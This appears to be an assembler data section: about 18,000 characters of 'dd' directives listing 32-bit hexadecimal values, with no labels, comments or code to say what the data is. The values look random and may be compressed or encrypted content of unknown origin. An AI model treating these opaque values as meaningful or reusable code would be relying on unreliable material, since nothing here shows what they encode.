dd 0B37BDEECh, 0FD8C1608h, 5DA4AD0Ch, 79D0CC7Ch, 2B11E8C0h
dd 0CDBE7740h, 1C455EBh, 117AB8h, 0B731AF37h, 111C6865h
dd 9E963839h, 0E6C036B7h, 95C1560Ah, 2E7ECCFBh, 48E1D94Fh
dd 0A6166428h, 1EC68D35h, 8C0BC557h, 0BE39E767h, 0DA8CEBE6h
dd 0AF5B1168h, 0BBB4FADEh, 484C403Ah, 5C8C4FAEh, 6C7E0A6h
dd 85FFA167h, 930C4556h, 1484B661h, 32C4F70Bh, 9A80B254h
dd 26C43DC3h, 0FE5D1B07h, 976014E5h, 0DF1330DFh, 0D5EEB2E7h
dd 2ABC12D0h, 66F56ED1h, 0E6018805h, 0A29E1EB1h, 84371E5Ch
dd 1072127Ah, 0D4F63B83h, 0D680D493h, 7FE7E0ABh, 0F6A53D8Eh
dd 328514F2h, 26236221h, 690C6626h, 1DC96BAEh, 4270063h
dd 5791B6h, 0EAB53274h, 0BE14D55Fh, 0A6FF01C0h, 0E02EC2B1h
dd 62983C64h, 0CC33CFB4h, 0DB13B2B3h, 4DB50B6Bh, 990B239Fh
dd 488731Fh, 0B727C11Ah, 6CB22283h, 0D0A8BD01h, 0AF9A2AA7h
dd 0ADEC21EAh, 32D7E5DAh, 0E2FC0E86h, 30DD68ADh, 765EA4EAh
dd 0F1B9B57Eh, 0D2FF4796h, 0F557431Ch, 0DCB091D9h, 3F38EB72h
dd 0A572A88Bh, 8AEC86Ch, 0D267FDF3h, 0C9BE4A1Bh, 0E2557B04h
dd 9EA3119Bh, 0C9ED80B4h, 0CC0DED02h, 368BC3A7h, 2E90535Ch
dd 0DEEFB72Eh, 8A834DF2h, 197E1928h, 0D601F1Ch, 45278EDBh
dd 0A90598h, 67ACBE4Bh, 41C4B220h, 5716B418h, 7252D7B6h
dd 6FFFBFE0h, 0FFCBDFE0h, 0CE879EAh, 9F1678EAh, 0CA753FBCh
dd 0B1B8FC1Ah, 0D51634E9h, 0D436ECDFh, 18D6FA52h, 90B737D0h
dd 8E8C1421h, 0B35F4EB2h, 5C769B9Ah, 44F1DA9Bh, 0B2FB273Ch
dd 0B0D64628h, 0B4BDD0F4h, 78725112h, 0D085F2B1h, 81A2AAC8h
dd 9A4282C5h, 1F7FF34h, 0B55D9F6Bh, 0D24D39EDh, 9B62C342h
dd 6AAE7880h, 0B8D575C2h, 0DA99CAB4h, 9BE37B2h, 0E320C6AFh
dd 37D5EFF8h, 0F8DBA12Dh, 0D94C9F35h, 6C7CA93Ah, 0A866E531h
dd 5B9D1351h, 8E342BC9h, 0E85F5E6Fh, 1F99F3E9h, 5DDCF436h
dd 0ED406A1Bh, 345F9095h, 0A6044127h, 0C70D564Dh, 43369F1Dh
dd 2DEC6DF8h, 8B559EEFh, 6EAFFDA4h, 6F30B97Bh, 0C3CC5F1Ah
dd 21CD9E30h, 0BD304347h, 9FB3BA69h, 52A5590Ch, 51A8D1C7h
dd 87F43B5Ah, 1C896432h, 70A11E9h, 6764060Ch, 28640634h
dd 4B9D8CA0h, 0EB0DD2B6h, 34DD84CDh, 5DF9924Ah, 24A6551Eh
dd 89A994F9h, 3FC74F07h, 297410E6h, 0E284610Eh, 6A713BEBh
dd 0A6F91656h, 347CFF7Fh, 0B06D1AB0h, 11F1230Bh, 0F79589EEh
dd 0BE8867C8h, 0DE58233h, 0D18165ECh, 0CC57164Ah, 2244CB57h
dd 7342EB2Ah, 1B8C4AFCh, 9C611292h, 6CFF44B0h, 0A0F9BD58h
dd 0AB24B76Dh, 86E9F195h, 0E1BEC83Ch, 0A398F0B9h, 0F72DF99Bh
dd 0DA40803Fh, 46E80591h, 0B56D5F83h, 651638F6h, 195E985h
dd 0A1CD6134h, 0C5CA2457h, 8816F24Bh, 752D6498h, 762F4DBFh
dd 4866EB04h, 0C707721Ah, 128CE6F8h, 6D14182Ch, 5BFE47B4h
dd 0C7A82A2Ch, 731A7E5Ah, 9102A6BBh, 0FD6BF445h, 4552CD9h
dd 119D1868h, 3E40C23h, 56200EE4h, 3797531Ch, 0E8B7044Dh
dd 9384B7EDh, 737F786Bh, 0D70B6817h, 0D5601A78h, 75218E97h
dd 0B031C0BEh, 619B9799h, 0B1428396h, 173CDF21h, 397C4A75h
dd 673DE1A7h, 88B8C0BDh, 55E8A11Ch, 791AB6D7h, 0B197876Eh
dd 0E94101Bh, 9E28A80Fh, 0BC15DB93h, 479BAE06h, 9B1653F6h
dd 8C504250h, 0D381B105h, 0ED405C52h, 3A5B44E4h, 0A652565Fh
dd 0F33BE365h, 2BEF56Dh, 9B348546h, 75A679Eh, 6CFC26Eh
dd 2ECC1C89h, 6640087Ah, 0E796FFF0h, 894FB78Bh, 86422583h
dd 0A620227Dh, 6327CA6Ah, 458E4C85h, 4633457Ah, 7E616319h
dd 0AE16644Fh, 0E05811B8h, 0B2FE681Bh, 243F1707h, 13FD5CDCh
dd 3F67FE8Bh, 0B466DFFBh, 8DFD8749h, 34A6DD89h, 1147A9C6h
dd 7D441E14h, 6063AAE1h
dd 8F617572h, 50CE91A3h, 225D85Bh, 0B93BD03h, 78769F81h
dd 2BF533CCh, 8C52C9E8h, 18D82596h, 35B989CCh, 0A0310783h
dd 233CEA97h, 25AD79ABh, 2DC4EE0Ah, 0BF64B27Fh, 2D89D7F2h
dd 52EA33B4h, 0FFDBD6F9h, 0A46622EBh, 55673958h, 5A3CC351h
dd 0FD9A1715h, 804A99A3h, 0D4B99B6Ch, 30F5436Ch, 82007AB5h
dd 0E86F9281h, 0C24B9E13h, 3D08E55Dh, 11B9AD16h, 3C8FF6C7h
dd 0A4124C22h, 0E173D903h, 0E7E20532h, 7BF71D7Bh, 67D78597h
dd 68B7FB0Fh, 0F43DE5E7h, 0AF3F712Dh, 53E56F4Dh, 0D3EFA0AEh
dd 8C0225A2h, 319F2B07h, 4E54D1A9h, 0D473EC11h, 2DB8EE07h
dd 13967B30h, 398FA752h, 0A6DE834Bh, 0A867AB1h, 0D8194F3Eh
dd 0A598ADA6h, 3F1143D1h, 58986B43h, 0AC05A98Bh, 532F6781h
dd 1B7E207Eh, 3201EA84h, 8379885Ch, 1746AB8Bh, 6786295Dh
dd 2CCFD8B9h, 0A92D287Ah, 759DDDE9h, 0F24470C3h, 0DAAF5298h
dd 0C54C0820h, 306B6411h, 6D2847A5h, 6DD39925h, 2ECF2164h
dd 91BBAC6Ah, 3D7213D5h, 5A3490C8h, 0C72D1318h, 0AEF719F4h
dd 0D917D07h, 88925BF6h, 0C5B58A42h, 0DD701520h, 2BE2ED2Dh
dd 0F25276h, 2FD286Dh, 7E217A82h, 0CC5F6519h, 0CFDB9F1Eh
dd 0C08531B3h, 847058B6h, 0F476D868h, 46C7BBA1h, 0E1EC5941h
dd 0A3A679Ah, 96FF8361h, 10CD4E53h, 42248312h, 0F95A9C19h
dd 1F71468Dh, 0A6AA30D8h, 3F3CB42Ah, 0E3D8226Eh, 717E81D2h
dd 0E4B19A2h, 470FF63Ch, 67C42AB5h, 0F1771BC5h, 0D3FE07CFh
dd 555E3403h, 9E7F0B7h, 5D9B56B4h, 561BB608h, 66354E1Ch
dd 0E8FD9F21h, 1D4F216Eh, 2064F169h, 840A5D3Ch, 4DEA31Fh
dd 7098F2B6h, 5083D78Dh, 0C5E7C982h, 1A4F99E1h, 760A83C2h
dd 7281570Bh, 49AA80h, 0FF9DD525h, 7E9CF5B0h, 0A0AB71A9h
dd 3C8063Dh, 2E2F5B6Ah, 0FCB3CF7h, 650E266Ah, 0B2AEFF78h
dd 5A1F62E6h, 0D9ADAB96h, 0E51EB706h, 0CAECA430h, 0EF6E7B5Dh
dd 1B5FE425h, 6538A6B6h, 0FD33D286h, 0A6601947h, 33D954AAh
dd 450B8A13h, 2E2D0DADh, 23527C8Eh, 5D53ABE5h, 0A55E7B30h
dd 9CDF99C2h, 0CFE4A4D0h, 72C31526h, 7C5561C2h, 15E0E798h
dd 522DDAA6h, 3D7E2F40h, 65105895h, 90EB308Bh, 0FFE1D8B2h
dd 1E8F1798h, 0BE4141A7h, 189C7C05h, 0D13124AEh, 0D1FDAC50h
dd 207EDAA7h, 831E8BC6h, 0E444D35Eh, 62764B24h, 37A29EB4h
dd 3B1B0C00h, 36D92858h, 7297A86Ch, 393F551Eh, 0EF3675Dh
dd 38FC3740h, 3414545Ch, 609549D7h, 0F10A801Dh, 8907BB04h
dd 2163FDCAh, 33558599h, 12823E48h, 57E605DEh, 0B720BE61h
dd 0EA500761h, 9CCF74A4h, 0C213367Ch, 4640821Ah, 6D2CE7AAh
dd 28C4F13Ah, 540F4CCh, 52F4C965h, 0E27F3053h, 0D14F3CBDh
dd 54AEDCF1h, 0DD9376D4h, 5A466BF7h, 1ABDD02Fh, 0ED2A881Eh
dd 0EBF6820Ah, 0F0C48A4h, 3B9347C5h, 0D3B7C1D7h, 27EA72BAh
dd 0ECB63312h, 601D82EBh, 677EF546h, 0DB9DBDE2h, 97D0857Eh
dd 58AC126Ch, 5C13BFA7h, 0AFCDCBBh, 0C067F39Ah, 9D5B5B74h
dd 466FD33Fh, 0E21CE9B7h, 47A9A1F8h, 0B2DD5361h, 493D15B2h
dd 0D3262B52h, 9EE5F090h, 0F1844FBEh, 0FE3A3EC2h, 3579A4Ah
dd 0FC00D45Dh, 0A6E0B3FAh, 92E90F1Ch, 0C059BAF3h, 0B9F70804h
dd 98DA5B4Eh, 0E45799B2h, 0F6314763h, 597C7AEh, 49B65BC4h
dd 0A33715D5h, 605EB71Ah, 1CAE98C0h, 81661590h, 866B7383h
dd 26E06857h, 394F8D4h, 0D36F562Dh, 24350176h, 9E1A8286h
dd 41664337h, 691F9954h, 35F67D12h, 1E015968h, 11CB89Bh
dd 79143C31h, 141AB27Ah, 30116416h, 0BAEA8040h, 0BC4C1210h
dd 5E749272h, 31FF0BDFh, 58F78261h, 1E4600B5h, 129E31ACh
dd 976E8B7Dh, 10675EDAh, 86E2A8F5h, 42ABC324h, 34D8FFF7h
dd 5C5F0430h, 0CC5E898Bh, 0BAC8FC18h, 6B6AC36Fh, 17FE397Fh
dd 364F87CEh, 0E7D21CAFh, 76B001D7h, 46DAE1D1h, 0C62DF93Eh
dd 0EE749B45h, 691C6303h, 0EA345221h, 5247648Dh, 32864CF4h
dd 25744F58h, 40DA6E5Eh, 0F89B7B44h, 0D37F4D4h, 0A7D231CBh
dd 0A82ADD6Eh, 18E06161h, 0D09BF326h, 0B4440B0Ch, 0B66C3590h
dd 446B8749h, 8CEEA77Ah, 963EE7B2h, 65D135C0h, 30E9EC25h
dd 73859513h, 0B8ACA010h, 0BCE5BCE1h, 210A1F6Ah, 866E0B71h
dd 0B73E88D6h, 314EF579h, 0B23E2D6Ah, 249E4232h, 0E810DFC8h
dd 5A68AA61h, 3FD731C4h, 46EF7BAAh, 0DF4CAA9Ah, 89F37A85h
dd 872D3EE0h, 0E53B59D2h, 11EFAF47h, 0B2DFC3CDh, 0AC433487h
dd 0D3D2419Ch, 27FE4CB5h, 0AD41DE6Bh, 7004D26Fh, 84C505Ch
dd 0BDB52FAEh, 925AD2DEh, 48279B66h, 0D9769C84h, 2337E894h
dd 40112AA0h, 0A2B89E5h, 9A9732F5h, 4E4CC912h, 1BB8A344h
dd 0EA9967D6h, 0DA33D24Eh, 23EE40A0h, 2EA8AB0Fh, 2D9AA48h
dd 0CD523740h, 0AF3286AEh, 0D8B993CAh, 6FADAA3Dh, 1E68087Dh
dd 3BF9E05h, 541F2721h, 22500AC6h, 609ECD4Bh, 6E8B6B0Eh
dd 154E4CA0h, 973B0B3Ah, 414DB499h, 0DAF9298Bh, 5D762F60h
dd 0C2FEE625h, 640108CEh, 888E0722h, 0AC0EC557h, 0BC943CF8h
dd 0FAED0C98h, 72569101h, 77F5AD9Fh, 69E00C94h, 0D6EC363Fh
dd 0C18E7684h, 36BFF8C7h, 20B4A435h, 51C1E710h, 0A95C1E84h
dd 8FD74F00h, 91025385h, 5D54D23Ch, 42D879F7h, 238CF4FAh
dd 0B4C9394Ah, 285ACBEBh, 7D2DF7FBh, 0CC02A4F4h, 8E7772CFh
dd 0BBA192FBh, 0E6C5F8C6h, 0DD259640h, 0AF3C3F7Eh, 4C38CDBh
dd 0C111F118h, 7DA41A2Bh, 2402E8CAh, 2C7EDD47h, 0BDD9B63Bh
dd 0D1361D54h, 3D477BD2h, 7B710AEDh, 0FD159CAh, 0A91EBEAAh
dd 0B394CEA8h, 2B634F0Dh, 0C33E3727h, 1BA8D352h, 0E5570CDDh
dd 5A8F16B1h, 8805F261h, 1630AC90h, 25205CC9h, 0E9F7A1D4h
dd 5419A6ECh, 61FF40EBh, 3415A7h, 71B575A5h, 0D7EC6D62h
dd 72C8B738h, 4814951h, 11B479F0h, 562588A2h, 8605AF34h
dd 8625E4FDh, 0BA6C2AD5h, 121B2A48h, 0A1958C82h, 2998F915h
dd 0B0120FD7h, 6B36146Eh, 3E5DBFE0h, 43922C87h, 0FC5903CEh
dd 2A44F754h, 32A7D6EFh, 0D5F159D8h, 1F485C2Fh, 0F39C3B64h
dd 3472039Fh, 0AE47F0ACh, 10BD96F3h, 0DC765EA6h, 3CC13C26h
dd 0E15DFD84h, 0C633A675h, 6CFA8ADAh, 918D1486h, 7AA05D00h
dd 1B7871DEh, 99B5935Fh, 0AF1385B2h, 72756281h, 0AD19F25Fh
dd 10F11D98h, 14C3ABCFh, 7C23A929h, 8D6E5EDEh, 82A31EE0h
dd 41A37DABh, 0C7435336h, 264CBB78h, 4F6269D8h, 0A0B704CBh
dd 9C58972Ch, 286998Bh, 738E77FDh, 0E10CEC5Ch, 0EC3E563h
dd 0A9F36698h, 3CD0804Dh, 3BD8B12Bh, 0B194CA66h, 1F163A58h
dd 41C52415h, 0FC61670Dh, 0CA12A195h, 0A1BCC1B7h, 9564F270h
dd 5ECFC661h, 0CFF95E0Ah, 0A913580Ah, 285DA334h, 50254077h
dd 8FF7B0C0h, 1A692691h, 0D09D8ED1h, 0A43AB039h, 0AE57F73Fh
dd 92E16E78h, 1CF1A5D3h, 21D03F10h, 59E3F181h, 0F8160BD9h
dd 0B0C9166Fh, 0ACE5B8E0h, 1A922D07h, 0C099038Eh, 2404F774h
dd 2A47D69Fh, 0DBB959C1h, 1D305C2Bh, 0F2F83B66h, 34EC0398h
dd 2E1EF0ADh, 0D15916F3h, 0BCE79EA6h, 13F65C26h, 5D59033Eh
dd 7A1CB37Ch, 4B36EADBh, 0E1E4CAD2h, 146DD420h, 8AB51F39h
dd 0F61881BFh, 8F17F3BCh, 5D0B73h, 0C4259AE2h, 5FB73CEAh
dd 7BA98B0Ah, 710C4B84h, 796414BFh, 0C2D78697h, 90956DA0h
dd 460F5B49h, 495CBF7Dh, 0B7622CDDh, 0B2B70BCBh, 85B896ACh
dd 1F0DB8C5h, 0FBEE45DFh
dd 0D8428DACh, 6827841Fh, 0DC5F669Ch, 0FCF48043h, 0F5EEB12Ah
dd 8B9DCA66h, 4F1AAA58h, 63C7E415h, 8C66470Dh, 82511195h
dd 0E196F9B7h, 87059A11h, 1FC3C861h, 3779570Bh, 0B9535C8Ah
dd 0F0BFA1F4h, 50B54397h, 9F8FB340h, 1B8D26D9h, 0C0C38EEDh
dd 0D62D700Bh, 0CD2C1B61h, 1838AE7Fh, 0CCF0C5D2h, 37D8CF11h
dd 0A7A42981h, 0E01627D9h, 0ACC9606Fh, 0B2E5A1E0h, 5D22187h
dd 0DF19404Eh, 5BC4F614h, 7A67D60Fh, 0F1515E08h, 0D385C37h
dd 0CAF43B70h, 38EE0391h, 0A81DF0D1h, 905A96F1h, 9C67DEA1h
dd 83B67C27h, 85B9133Eh, 60CBB7Ch, 46CEEEDBh, 0D8E0C8D2h
dd 18D3D720h, 70981CB9h, 0F49401FFh, 8E86339Ch, 852B43h
dd 0C4026ADAh, 5FC124EEh, 7BA08708h, 7110CD87h, 8D48D5BCh
dd 2A4DE71h, 0C4F2DC63h, 0A60F232Ah, 775CA36Ah, 776222D4h
dd 4CB702D7h, 0EAB8922Eh, 88DBA3Ah, 400E4A3Eh, 644CEC3Ch
dd 6E63E533h, 0D2B366B0h, 553881B1h, 0E7CCB131h, 0B7AECA61h
dd 8C112A59h, 824BA415h, 9CA4270Dh, 9A320195h, 994F31B7h
dd 996CAA70h, 78B3AA61h, 0C8FB440Bh, 0A88C570Ah, 289E25B4h
dd 508501B7h, 9F879070h, 1B812961h, 0C08186A9h, 0A400B42Dh
dd 0AE40F535h, 92E0E987h, 9CF0E456h, 1BD8DF56h, 79A421A0h
dd 681623A9h, 0E8C96277h, 90E5A2E4h, 34922205h, 0D7990209h
dd 0DF84F635h, 0B807D63Fh, 90415E30h, 3DA05C33h, 0C2B03B72h
dd 3C880392h, 2A0CF0D2h, 534216F2h, 7DE31EA6h, 73709C26h
dd 0D98233Eh, 427C037Ch, 64C612DBh, 0F7FF16D2h, 0F51E620h
dd 4B5F6439h, 0F6B59D3Fh, 8FB67D7Ch, 0DCA53h, 0C44E7A52h
dd 5FA32C22h, 7BB380E6h, 710B4F96h, 0D4C9AB4h, 42A2BFFDh
dd 0E4F3CC1Dh, 0B60FAB0Bh, 8F5C649Ah, 7B6200CCh, 4EB731D3h
dd 0EBB969A0h, 80DA67Bh, 0C04E441Eh, 27ACED0Ch, 4E73E58Bh
dd 0A28B6674h, 1D3C8057h, 0C3C2B120h, 25AFCA69h, 0D511AA55h
dd 0BEC86417h, 92E4070Eh, 12D2718Ah, 5DDF29B6h, 7B14A670h
dd 69D7AC61h, 0D065450Bh, 0D4D5578Ah, 26FAA674h, 5794C1D7h
dd 9C1EF060h, 1A45D969h, 0C0A75E95h, 0A431982Fh, 0AE484332h
dd 12EC1086h, 5CF2F8D6h, 2818EE96h, 4DC71396h, 0BB25D435h
dd 88DCC3B7h, 1FF5B304h, 4364AF55h, 6CE98F34h, 1E82BAB4h
dd 48AA37DAh, 0B0316982h, 962B6FF5h, 0E5AE4E53h, 17A8AA1h
dd 0DB2EE042h, 14439689h, 690B9DFFh, 0F220BD23h, 0C204432Ch
dd 2CB9C86Dh, 9F76453Eh, 0CB15D4h, 0B9B8D35h, 0C2570FA9h
dd 11E9153Ah, 8834F052h, 0C047B3FAh, 0C56BC222h, 2786AB36h
dd 0F2AB9C18h, 0B25A1A41h, 8C489BDDh, 0F6B4446Dh, 7BE04E21h
dd 6E0BCC9Fh, 875C579Ch, 796A78DDh, 5D4829FEh, 0F8B991EAh
dd 0FADCC83h, 55715718h, 0F78C12FDh, 26D62608h, 0B26FE7B1h
dd 56008066h, 29F1E64Eh, 3BA8B7EEh, 0CAB2AE5Ch, 54202416h
dd 0D2C418F1h, 520E1D9Fh, 82101CA6h, 0CF135D8Fh, 61DBAEEDh
dd 0D5616263h, 0A2C3A91Ah, 0AAE926C8h, 0A8438D8Ah, 9C36D865h
dd 9725C970h, 3F485614h, 5FC1CCAEh, 2D4C4163h, 51630342h
dd 1C0C00D7h, 65AD6ED6h, 9A16598Ah, 5816BF89h, 0ACA9C4D7h
dd 0CDBC8BFCh, 4B1F9018h, 0A3664FCFh, 0C04778D2h, 0F32F83FEh
dd 0D3215928h, 9E594C5Bh, 768C531Ah, 5F7C13ABh, 9F0AF0F7h
dd 0C6AB40A1h, 2FE29EEAh, 737DCFCEh, 33273C39h, 46F87B2Dh
dd 0AB7E0ADBh, 0A7171283h, 0D659079h, 5C9A7538h, 0E9B260C7h
dd 163A363h, 6B0FD75Fh, 0D46FDC7Ah, 0A3ECC9C5h, 2E78C8E2h
dd 9D84C611h, 48C3D3A5h, 0D75EE00Dh, 0B4F0B61Dh, 6E7269ADh
dd 245B7736h, 1362F33Bh, 4E0C3C50h, 0BAA96D50h, 0F548137Eh
dd 85794831h, 10E3BE73h, 832A1D88h, 1B9B6655h, 82567990h
dd 2236F4AFh, 19A1CA09h, 0A9E95DCAh, 5F8D5319h, 6CCCC85Eh
dd 5AFA0178h, 83EF5952h, 546CB605h, 0E29FA030h, 5D5A67CFh
dd 83040B66h, 74B1437Dh, 56167E7Fh, 0E84DCF10h, 7234F985h
dd 0D0B70A9Fh, 4C2115ACh, 0AE4DCE0Ah, 0D1637BD8h, 0C087D852h
dd 32CB379Bh, 7C64AA45h, 4C6341E5h, 8D19C45Ch, 5E668B30h
dd 467A0473h, 8C191881h, 5FC2CDBAh, 0F22AB2h, 2B01599Ah
dd 8E85B017h, 0E941B219h, 5EC50B47h, 2B01AD2Dh, 344969E0h
dd 0D772DE55h, 0E6B00C35h, 9FBDE7C6h, 4ADC1A7Bh, 6B51E0F3h
dd 0EE2E938Bh, 0B5BFBD0h, 388FB5CCh, 0F9B61D97h, 75DFD51Ch
dd 8895557Ch, 0C49EBBAFh, 0CA984D2Eh, 6BBAD2B0h, 4251E1Bh
dd 0C888C2ADh, 64A9283h, 640F0C9Bh, 0E6F78F28h, 97AC148Bh
dd 6329A24h, 0B4A72C0Eh, 0DA327DB6h, 0B8BF4F3h, 0CB08AC70h
dd 21CA668Ah, 6BA06F8Eh, 0A89D1295h, 0BC7C7F22h, 973CCC99h
dd 63A2CA69h, 712AAB5h, 2841D134h, 2DCE8535h, 13B3AAC9h
dd 8AF6A36h, 4BB73A8Ah, 5C00AB15h, 0C403B01Bh, 77412D2Ah
dd 37E0D6A4h, 79522B4h, 9C481136h, 0F6ADB25Fh, 49E225C4h
dd 34C5E5B0h, 0FD4D9D30h, 90515BD7h, 0EC768F57h, 0CB248DA8h
dd 6958E12Fh, 485F7701h, 5D0FA517h, 0FECEFFC2h, 0BD9356C6h
dd 2A676858h, 698BA52Ch, 176F8561h, 9901592Fh, 936D958h
dd 89600A48h, 0EF786BB0h, 0A8E0E0A6h, 7EBBE905h, 0B98A154Eh
dd 1E611CC6h, 30E71E64h, 0E3FDD224h, 782F5985h, 7BC7DD8Fh
dd 3A49FA69h, 1CA82AF9h, 0AAE379B6h, 89517A96h, 741B48F9h
dd 4D6EBBFBh, 0A0674DF1h, 0E442F01h, 9AC7169Eh, 0F10B41FCh
dd 43B3197Ch, 217D4D77h, 0F367BA77h, 0C75C044Ah, 0B62E8D3h
dd 0FE5D1D0h, 0AA7E6DC8h, 18A5248Bh, 4C4A2D61h, 4F7C12CCh
dd 0CFB3F5CBh, 0E294993Dh, 88E4D367h, 543AB151h, 1DA23628h
dd 0FD05AA53h, 0F835219Bh, 0D6938F64h, 353B175h, 7CD6525Eh
dd 102C3F70h, 0A2DA48E8h, 84F8C85Eh, 0BCC73BD9h, 0CFE2CD75h
dd 57118EA9h, 67D9B3A9h, 0E5DBE6F6h, 86FAF0h, 0E14009BCh
dd 0AE4E7322h, 0EEAFB580h, 197E06BDh, 0FEB3236Ah, 419B5650h
dd 30164106h, 9C1FC44Ch, 0DB8C8B28h, 3391BF73h, 285C91DCh
dd 1BC9F1B9h, 0FECF855Eh, 58F15976h, 6DC8A361h, 32EAD31Fh
dd 0B0A303ABh, 0C3E78D25h, 0AF9503F7h, 7308A2E0h, 0A6CD79A8h
dd 3010FB53h, 0F02DEB82h, 94F69133h, 0A5F395D2h, 0C81211A9h
dd 198FE2ECh, 0F1EE972Ch, 602BF9B5h, 8AF36AE0h, 0C00477EFh
dd 0F60F1BBh, 7BABC994h, 8EF8419Dh, 651D87ABh, 82A1F914h
dd 0ECFC0CB4h, 4F0FED68h, 0A336F80Fh, 5F9E52A9h, 40A73FE7h
dd 134605CAh, 0E3DEA474h, 418E0F2Fh, 9A8F2EB9h, 0BACCE5D9h
dd 0E26EF85h, 0E09D840Dh, 0A752E1E4h, 135B3505h, 0D7867953h
dd 0F049245Eh, 0EB668B87h, 5457D575h, 7CE7605Eh, 0B3C8370h
dd 8402F3A2h, 0D513A28Ah, 8091500Ah, 0A4EF7ABFh, 0A8EF72D2h
dd 39DB512Fh, 0E5DBF7E9h, 3C127581h, 0A4D693A7h, 50B124ACh
dd 0E1AAC07Fh, 0E0768641h, 56248C28h, 0CC125730h, 87E94035h
dd 0F04CB16Eh, 11A74D3h, 0F56CA3FCh, 0D8F34820h, 5D89F5A6h
dd 0C7B82B5Fh, 38613336h, 1DB01B56h, 8A3BFDC5h, 0F1877754h
dd 0FF0A8550h, 1042FD38h, 2FBDDE65h, 34ADB0ACh, 9FBD8A6Ch
dd 5F59BE2Eh, 0F2C9428Bh, 8BDBAAD6h, 4CED0C28h, 8AE06739h
dd 8CB3653Ch, 747E76BFh, 5E1F8328h, 21E7CFA1h, 0C8C50A9h
dd 7BD1D880h, 21F76E19h, 0D1E015Fh, 0CE6535FEh, 0D4B58EC4h
dd 1384ED48h, 8B198D76h, 6327A053h, 15DDD1DBh, 1CDF6DCCh
dd 5A805630h, 94DE2D97h
dd 4C649B77h, 0E53A293h, 0B7449ED6h, 46F4B163h, 0EB0E801Bh
dd 4C414336h, 1A9BFF90h, 0F8DB0895h, 280E5764h, 0E25407h
dd 7CEF0C5Eh, 47202D70h, 91CA6F07h, 91924709h, 2286DD86h
dd 37A212FBh, 100BA9C7h, 153FB040h, 47A9CB1Ch, 93A6645Dh
dd 4C2105D4h, 0AE4DD020h, 6715C604h, 37333CD2h, 7B1B4215h
dd 1477DEDBh, 859FEB1Ah, 99362885h, 0D4196328h, 0F5175767h
dd 17281CA3h, 9FF5F627h, 2DA488E3h, 1CD2BCEFh, 67EE0F8Ah
dd 0C7B4515Ch, 90DEF3EEh, 0C80DBF6Ch, 464E527Bh, 76939B62h
dd 1BF5BB25h, 0CFB81329h, 2EFC4EF0h, 0C21EC29Eh, 16289D2Dh
dd 0BB3A1E0h, 0B2E9A730h, 7B3E200h, 480B39E9h, 0DB7A28A8h
dd 28E63104h, 0D6C96773h, 6F57470Dh, 0FA507BC4h, 0D8C595E9h
dd 2833571h, 0C4F38F3Bh, 0CC1F872Bh, 719896Ah, 7812FF04h
dd 0A8343997h, 0BF7E0BC2h, 0F78DA69Ah, 4C1EAB23h, 1BC1EE88h
dd 8326683Dh, 0A7CC3105h, 931E686Fh, 61A5B118h, 0E84134ECh
dd 0F81CD5ACh, 0BDA46427h, 0A3B67285h, 52BAF5CFh, 8E0A06B9h
dd 0DA18220h, 0E8158A61h, 8BEB3D08h, 3AB51454h, 0AEB3EAE9h
dd 475452h, 1755CCFBh, 7CF399Ch, 0B5490703h, 0D1D6275Dh
dd 0E8677D2Dh, 5463398Fh, 998CFACFh, 0F024BBD7h, 786C7EA4h
dd 97E93B5Bh, 388CA628h, 0ADBED57Bh, 0C11B02A6h, 24CE4E8Ah
dd 4C0DE590h, 0BEEC0E92h, 7C12590Ch, 71DF50EBh, 0B82D344h
dd 0BC2103ABh, 0D8820623h, 6641E1D1h, 0FC6F1FA9h, 4939060h
dd 13F8DCBCh, 0FD5A5BF4h, 0C1810F80h, 0A872D35Bh, 1BED7D77h
dd 925E33B0h, 0F82679D4h, 844FA02Fh, 0EBFB48ACh, 0C46F266Ah
dd 0A91966EBh, 8C92D6B8h, 700B6B6Dh, 10B03DCh, 0BD244538h
dd 3C799400h, 0EB54B343h, 0EAD55050h, 30354103h, 533C35CCh
dd 0B1A486DFh, 0B0785B6Ah, 1C3BB835h, 5DE96B60h, 0D8B56CCDh
dd 580E19A3h, 0DA177FAFh, 56634631h, 0C9A035E8h, 0A3E9EFD8h
dd 69493F48h, 0DEEF515Dh, 5C010575h, 7C13CA5Eh, 0CA2A6F70h
dd 9E8AB39Ah, 2B07E0F4h, 3E30DBFEh, 27E69722h, 0A194DD5Eh
dd 54DA9A15h, 912FBB16h, 0C03D1793h, 0A6C27A04h, 0F5134C4Bh
dd 0F7636CDDh, 0FE7E001h, 11CB1EEEh, 99DEDABDh, 9DE256F3h
dd 604A2DF8h, 7322ED29h, 925595h, 0BE09F49Ch, 0D6C9F5CDh
dd 6E625853h, 88CE0A36h, 4E26B496h, 8F653B4Ch, 0C95FD28h
dd 231BC1A2h, 2FAE1DE3h, 0FC631B2Eh, 0B229B327h, 1C6D63CBh
dd 28068B39h, 1D27C68Eh, 0BEE145D0h, 0E739F27Eh, 0C03A3EE4h
dd 0FCA0D09Ah, 0DB3A5B58h, 376F9F5h, 0C4909F36h, 5F98A38Eh
dd 7B3E4B84h, 21F8D135h, 8D0A4FF5h, 82243B01h, 0D40FB787h
dd 79F0DAF6h, 0C4D55C6Fh, 0C49E8ADAh, 6D3CC669h, 0C7469632h
dd 15274C3Ah, 0DA074766h, 590963DEh, 307C1A31h, 0D4E0A23Dh
dd 21B36877h, 62234EE7h, 48284361h, 0A124A308h, 4F9571D5h
dd 7BDD0B8Dh, 5AC36DCh, 7CF722BEh, 4BEA6274h, 0E27D5BEAh
dd 0D41EF6A9h, 8BB7EE0Ah, 0AE2FEB3Ch, 0D65094FBh, 9C589DE9h
dd 99D02FF1h, 0F1B6E034h, 29E04B0Eh, 0EBC41FE7h, 1BFAB2DAh
dd 0E6F2F0EFh, 0D0230137h, 0A7945BFEh, 8178EA6h, 0AB319BF7h
dd 216E3021h, 6D90DE91h, 8A10E49Ch, 7B417E76h, 7E825CE3h
dd 83311C5Dh, 0F235DF9Ah, 0B0E97A4Ch, 793402ABh, 96E54DDAh
dd 7E079FA3h, 9007CB66h, 0A48A30A6h, 8A08946Fh, 0A39F1875h
dd 1F415ADFh, 0FE25B66Ah, 8871C120h, 0A26F355Ch, 0F90FE5F8h
dd 5E29133h, 1378B8B7h, 0C593344Bh, 0A52AAC80h, 0F202D2C9h
dd 618EDA7Dh, 84B2CF86h, 872A0F0Dh, 0A8A5C38Fh, 0D3863D11h
dd 0FE20A61h, 489E62D8h, 1AB6CDD3h, 0A79DBC1h, 8185257Eh
dd 943E12EDh, 0A1A9118Ah, 5983A046h, 65679E10h, 5F4CD5ECh
dd 0A6A2B182h, 1EA4416Dh, 0F8CC10DAh, 0F443E416h, 753D4E55h
